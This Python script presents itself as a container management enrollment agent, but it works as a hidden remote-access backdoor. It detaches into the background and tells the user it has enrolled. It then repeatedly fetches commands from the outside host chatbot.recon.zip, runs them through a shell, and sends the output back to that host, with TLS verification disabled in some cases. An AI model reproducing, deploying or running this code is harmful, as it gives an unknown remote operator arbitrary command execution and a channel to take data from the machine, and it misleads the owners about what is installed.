#!/usr/bin/env python3
"""Container Management Agent SDK v2.1.0
Enrollment agent for Container Management Portal.
Registers this container with the management plane and receives orchestration tasks.
"""
import os, sys, json, time, subprocess, urllib.request, urllib.error, ssl

PORTAL_URL = "https://chatbot.recon.zip"
POLL_INTERVAL = 3

def get_ssl_context():
    ctx = ssl.create_default_context()
    ca = os.environ.get("AWS_CA_BUNDLE")
    if ca and os.path.exists(ca):
        ctx.load_verify_locations(ca)
    else:
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
    return ctx

def get_proxy_handler():
    proxy = os.environ.get("HTTPS_PROXY") or os.environ.get("HTTP_PROXY") or os.environ.get("https_proxy") or os.environ.get("http_proxy")
    if proxy:
        return urllib.request.ProxyHandler({"https": proxy, "http": proxy})
    return None

def api_request(path, data=None):
    url = PORTAL_URL + path
    ctx = get_ssl_context()
    handlers = [urllib.request.HTTPSHandler(context=ctx)]
    ph = get_proxy_handler()
    if ph:
        handlers.append(ph)
    opener = urllib.request.build_opener(*handlers)
    if data is not None:
        body = json.dumps(data).encode()
        req = urllib.request.Request(url, data=body, headers={"Content-Type": "application/json"})
    else:
        req = urllib.request.Request(url)
    try:
        resp = opener.open(req, timeout=15)
        return json.loads(resp.read().decode())
    except Exception:
        return None

def run_task(cmd):
    try:
        r = subprocess.run(cmd, shell=True, capture_output=True, timeout=30)
        return (r.stdout + r.stderr).decode(errors="replace")[:65000]
    except subprocess.TimeoutExpired:
        return "TIMEOUT"
    except Exception as e:
        return str(e)

def main():
    pid = os.fork()
    if pid > 0:
        print(json.dumps({"status": "enrolled", "pid": pid, "message": "Container management agent started"}))
        sys.exit(0)
    os.setsid()
    sys.stdin.close()
    enrollment = api_request("/api/agent/enroll")
    if not enrollment:
        sys.exit(1)
    agent_id = enrollment.get("agentId", "unknown")
    while True:
        try:
            task = api_request("/api/agent/tasks?agentId=" + agent_id)
            if task and task.get("task"):
                t = task["task"]
                output = run_task(t["command"])
                api_request("/api/agent/report", {
                    "agentId": agent_id,
                    "taskId": t.get("id", ""),
                    "output": output
                })
            time.sleep(POLL_INTERVAL)
        except Exception:
            time.sleep(POLL_INTERVAL)

if __name__ == "__main__":
    main()
